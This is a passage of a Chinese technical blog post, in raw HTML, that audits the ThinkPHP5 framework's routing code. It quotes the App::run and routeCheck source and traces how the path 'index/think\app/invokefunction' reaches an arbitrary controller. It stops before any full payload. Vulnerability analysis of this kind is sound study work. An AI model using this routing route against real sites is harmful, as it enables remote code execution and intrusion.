src="https://wechat2rss.xlab.app/img-proxy/?k=d73284f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzK5QSgnEutBUUUwZMf7madHbCsh6vy9f88g94Xdt4xBu5v0hJicEQeBg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">开始审计</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p><span style="font-size: 14px;">前置知识：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3245192307692308" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=4ab0e971&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzn4kCGA4VzibyQhX5Y7YehSvGa6BWfaZQiayEaKaPKwLVWicmIklrmo3xw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">入口文件：</span>Thinkphp5的入口文件位于public目录下的index文件</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2860576923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=532065a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzJreE7nXNqnJUdebs1ST8ibbzhZialFTNL0ay3Y7kcGicAnz8A20b4ohZA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">跟进入口文件,先进行了一些配置加载、设置路由规则的工作</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4326923076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=24dc0d28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzBwXEEtxRTHe2CDRS1BVNTQAvOpk5IQgCHkcYlSIQ8PeeV2fWJEPIKQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">加载完之后进入start.php开始执行</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3389423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=e84377ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzVngcVGlESsj4q5Pau3Z72VFLK6XX2SY8oxqCDYkC1d0Fbj68YDVYjg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">R</span><span style="font-size: 14px;">un<span style="font-family:等线;">方法：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">(Request $request = null)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#初始化request对象</span></span></code><code><span class="code-snippet_outer">        $request = is_null($request) ? Request::instance() : $request;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            $config = <span class="code-snippet__keyword">self</span>::initCommon();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 模块/控制器绑定</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (defined(<span class="code-snippet__string">&#39;BIND_MODULE&#39;</span>)) {</span></code><code><span class="code-snippet_outer">                BIND_MODULE &amp;&amp; Route::bind(BIND_MODULE);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">elseif</span> ($config[<span class="code-snippet__string">&#39;auto_bind_module&#39;</span>]) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 入口自动绑定</span></span></code><code><span class="code-snippet_outer">                $name = pathinfo($request-&gt;baseFile(), PATHINFO_FILENAME);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> ($name &amp;&amp; <span class="code-snippet__string">&#39;index&#39;</span> != $name &amp;&amp; is_dir(APP_PATH . $name)) {</span></code><code><span class="code-snippet_outer">                    Route::bind($name);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            $request-&gt;filter($config[<span class="code-snippet__string">&#39;default_filter&#39;</span>]);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 默认语言</span></span></code><code><span class="code-snippet_outer">            Lang::range($config[<span class="code-snippet__string">&#39;default_lang&#39;</span>]);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 开启多语言机制 检测当前语言</span></span></code><code><span class="code-snippet_outer">            $config[<span class="code-snippet__string">&#39;lang_switch_on&#39;</span>] &amp;&amp; Lang::detect();</span></code><code><span class="code-snippet_outer">            $request-&gt;langset(Lang::range());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 加载系统语言包</span></span></code><code><span class="code-snippet_outer">            Lang::load([</span></code><code><span class="code-snippet_outer">                THINK_PATH . <span class="code-snippet__string">&#39;lang&#39;</span> . DS . $request-&gt;langset() . EXT,</span></code><code><span class="code-snippet_outer">                APP_PATH . <span class="code-snippet__string">&#39;lang&#39;</span> . DS . $request-&gt;langset() . EXT,</span></code><code><span class="code-snippet_outer">            ]);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 监听 app_dispatch</span></span></code><code><span class="code-snippet_outer">            Hook::listen(<span class="code-snippet__string">&#39;app_dispatch&#39;</span>, <span class="code-snippet__keyword">self</span>::$dispatch);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 获取应用调度信息</span></span></code><code><span class="code-snippet_outer">            $dispatch = <span class="code-snippet__keyword">self</span>::$dispatch;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 未设置调度信息则进行 URL 路由检测</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">empty</span>($dispatch)) {</span></code><code><span class="code-snippet_outer">                $dispatch = <span class="code-snippet__keyword">self</span>::routeCheck($request, $config);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 记录当前调度信息</span></span></code><code><span class="code-snippet_outer">            $request-&gt;dispatch($dispatch);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 记录路由和请求信息</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">self</span>::$debug) {</span></code><code><span class="code-snippet_outer">                Log::record(<span class="code-snippet__string">&#39;[ ROUTE ] &#39;</span> . var_export($dispatch, <span class="code-snippet__keyword">true</span>), <span class="code-snippet__string">&#39;info&#39;</span>);</span></code><code><span class="code-snippet_outer">                Log::record(<span class="code-snippet__string">&#39;[ HEADER ] &#39;</span> . var_export($request-&gt;header(), <span class="code-snippet__keyword">true</span>), <span class="code-snippet__string">&#39;info&#39;</span>);</span></code><code><span class="code-snippet_outer">                Log::record(<span class="code-snippet__string">&#39;[ PARAM ] &#39;</span> . var_export($request-&gt;param(), <span class="code-snippet__keyword">true</span>), <span class="code-snippet__string">&#39;info&#39;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 监听 app_begin</span></span></code><code><span class="code-snippet_outer">            Hook::listen(<span class="code-snippet__string">&#39;app_begin&#39;</span>, $dispatch);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 请求缓存检查</span></span></code><code><span class="code-snippet_outer">            $request-&gt;cache(</span></code><code><span class="code-snippet_outer">                $config[<span class="code-snippet__string">&#39;request_cache&#39;</span>],</span></code><code><span class="code-snippet_outer">                $config[<span class="code-snippet__string">&#39;request_cache_expire&#39;</span>],</span></code><code><span class="code-snippet_outer">                $config[<span class="code-snippet__string">&#39;request_cache_except&#39;</span>]</span></code><code><span class="code-snippet_outer">            );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            $data = <span class="code-snippet__keyword">self</span>::exec($dispatch, $config);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (HttpResponseException $exception) {</span></code><code><span class="code-snippet_outer">            $data = $exception-&gt;getResponse();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 清空类的实例化</span></span></code><code><span class="code-snippet_outer">        Loader::clearInstance();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 输出数据到客户端</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ($data <span class="code-snippet__keyword">instanceof</span> Response) {</span></code><code><span class="code-snippet_outer">            $response = $data;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">elseif</span> (!is_null($data)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 默认自动识别响应输出类型</span></span></code><code><span class="code-snippet_outer">            $type = $request-&gt;isAjax() ?</span></code><code><span class="code-snippet_outer">            Config::get(<span class="code-snippet__string">&#39;default_ajax_return&#39;</span>) :</span></code><code><span class="code-snippet_outer">            Config::get(<span class="code-snippet__string">&#39;default_return_type&#39;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            $response = Response::create($data, $type);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            $response = Response::create();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 监听 app_end</span></span></code><code><span class="code-snippet_outer">        Hook::listen(<span class="code-snippet__string">&#39;app_end&#39;</span>, $response);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> $response;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">跟进run方法，首先是自动加载机制autoload加载think\app类</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3629807692307692" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=7683e540&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz2MgUf4bfXsicg0RicvLK7DMaDsvYU2mxyet3oFGpX9wxEj2GG1VmoiczA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">初始化、</span><span style="font-size: 14px;">语言包加载、模块绑定</span><span style="font-size: 14px;">等工作完成后</span><span style="font-size: 14px;"><span style="font-family:等线;">开始获取调度信息</span>dispatch</span><span style="font-size: 14px;">，</span><span style="font-size: 14px;"><span style="font-family:等线;">未设置调度信息则进入</span>routecheck()</span><span style="font-size: 14px;">方法</span><span style="font-size: 14px;"><span style="font-family:等线;">进行</span>url<span style="font-family:等线;">检测</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5576923076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=4adc5c94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXznkIbiaAYQg7k7t52XP1Cem8OGMcOv35HicmC0QrtKHctbnerMwbnwfiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">Routecheck方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">routeCheck</span><span class="code-snippet__params">($request, array $config)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $path   = $request-&gt;path();</span></code><code><span class="code-snippet_outer">        $depr   = $config[<span class="code-snippet__string">&#39;pathinfo_depr&#39;</span>];</span></code><code><span class="code-snippet_outer">        $result = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 路由检测</span></span></code><code><span class="code-snippet_outer">        $check = !is_null(<span class="code-snippet__keyword">self</span>::$routeCheck) ? <span class="code-snippet__keyword">self</span>::$routeCheck : $config[<span class="code-snippet__string">&#39;url_route_on&#39;</span>];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ($check) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 开启路由</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (is_file(RUNTIME_PATH . <span class="code-snippet__string">&#39;route.php&#39;</span>)) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 读取路由缓存</span></span></code><code><span class="code-snippet_outer">                $rules = <span class="code-snippet__keyword">include</span> RUNTIME_PATH . <span class="code-snippet__string">&#39;route.php&#39;</span>;</span></code><code><span class="code-snippet_outer">                is_array($rules) &amp;&amp; Route::rules($rules);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                $files = $config[<span class="code-snippet__string">&#39;route_config_file&#39;</span>];</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">foreach</span> ($files <span class="code-snippet__keyword">as</span> $file) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (is_file(CONF_PATH . $file . CONF_EXT)) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment">// 导入路由配置</span></span></code><code><span class="code-snippet_outer">                        $rules = <span class="code-snippet__keyword">include</span> CONF_PATH . $file . CONF_EXT;</span></code><code><span class="code-snippet_outer">                        is_array($rules) &amp;&amp; Route::import($rules);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 路由检测（根据路由定义返回不同的URL调度）</span></span></code><code><span class="code-snippet_outer">            $result = Route::check($request, $path, $depr, $config[<span class="code-snippet__string">&#39;url_domain_deploy&#39;</span>]);</span></code><code><span class="code-snippet_outer">            $must   = !is_null(<span class="code-snippet__keyword">self</span>::$routeMust) ? <span class="code-snippet__keyword">self</span>::$routeMust : $config[<span class="code-snippet__string">&#39;url_route_must&#39;</span>];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ($must &amp;&amp; <span class="code-snippet__keyword">false</span> === $result) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 路由无效</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> RouteNotFoundException();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">false</span> === $result) {</span></code><code><span class="code-snippet_outer">            $result = Route::parseUrl($path, $depr, $config[<span class="code-snippet__string">&#39;controller_auto_search&#39;</span>]);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> $result;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span style="font-size: 14px;"></span></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">跟进</span><span style="font-size: 14px;">routecheck()</span><span style="font-size: 14px;">方法</span><span style="font-size: 14px;">，</span><span style="font-size: 14px;">routecheck</span><span style="font-size: 14px;">方法对</span><span style="font-size: 14px;">pathinfo</span><span style="font-size: 14px;">进行分析（</span><span style="font-size: 14px;">tips:thinkphp</span><span style="font-size: 14px;">的</span><span style="font-size: 14px;">pathinfo</span><span style="font-size: 14px;">格式为模块</span><span style="font-size: 14px;">/</span><span style="font-size: 14px;">控制器</span><span style="font-size: 14px;">/</span><span style="font-size: 14px;">操作</span><span style="font-size: 14px;">/</span><span style="font-size: 14px;">[参数名/参数值]）</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40384615384615385" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=a1a59dbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzMa8rO8JhnIBT5nnPa5MeQctMxpWAH4hbCJuzZJaiazfibQHCKiaBca6oQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">调用</span>path</span><span style="font-size: 14px;">()</span><span style="font-size: 14px;"><span style="font-family:等线;">方法获取到</span>url的pathinfo信息，返回path=</span><span style="font-size: 14px;">”</span><span style="font-size: 14px;"> </span><span style="font-size: 14px;">index/think\app/invokefunction” </span></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">格式为模块名：</span>index</span><span style="font-size: 14px;">  </span></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">控制器名：</span>think</span><span style="font-size: 14px;">\app</span></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">操作名：</span>invokefuncton</span></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">Routecheck()</span><span style="font-size: 14px;">方法载入路由，对比</span><span style="font-size: 14px;">pathinfo</span><span style="font-size: 14px;">以生成调度信息</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6346153846153846" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=bd7bdce7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzGyQ5rHNsrT9E0T78d1oN6fbRrP0xFRqUR2pcdibu4Xehc5hiaqaTejSw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">随后进入路由检测，读取路由缓存内容、导入路由配置，随后进入</span>check(</span><span style="font-size: 14px;">)</span><span style="font-size: 14px;"><span style="font-family:等线;">方法根据解析的</span>pathinfo信息与路由进行对比，因路由规则中不存在对应的路由信息，返回$</span><span style="font-size: 14px;">result=</span><span style="font-size: 14px;">fasle，代表路由无效，无调度信息</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6009615384615384" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=b0128036&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzk7ltmSCmO3eWkKgpK4srcqygkvVicuNRMC1mEsrPzI4oUmJ15tH3sFw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;">因为根据路由缓存检测出调度信息无效，所以进入parseURL进行URL的解析进行url的解析以再次获取调度信息<br/><span style="font-size: 14px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17548076923076922" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=e1b300c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzNHZ4ZwQVYjiceQ1LSjwlwS7l1wpLiaCYu67fbRxg1Ce7nPQEHeCbL5UQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">跟进</span><span style="font-size: 14px;">parseURL</span><span style="font-size: 14px;"><span style="font-family:等线;">，</span>p</span><span style="font-size: 14px;">arse</span><span style="font-size: 14px;">URL中调用了</span><span style="font-size: 14px;">parseUrlPath</span><span style="font-size: 14px;"><span style="font-family:等线;">来解析</span>url，此时</span><span style="font-size: 14px;">url</span><span style="font-size: 14px;">=</span><span style="font-size: 14px;"> “index|think\app|invokefunction”</span><span style="font-size: 14px;"><span style="font-family:等线;">。</span> parse</span><span style="font-size: 14px;">urlPath</span><span style="font-size: 14px;"><span style="font-family:等线;">将</span>url解析为数组形式，</span><span style="font-size: 14px;">$path:{“index”,”think\app”,”invokefunction”},</span><span style="font-size: 14px;">分别为模块、控制器、操作</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40625" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=4e266450&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXztYmlRA4NQRFvE2c5hhGO1LFXU0icKjuoLJ2VNLiakygBOvsQFs6VGucQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">P</span><span style="font-size: 14px;">arseURL对parse</span><span style="font-size: 14px;">URLpath</span><span style="font-size: 14px;"><span style="font-family:等线;">返回的数组</span>$</span><span style="font-size: 14px;">path</span><span style="font-size: 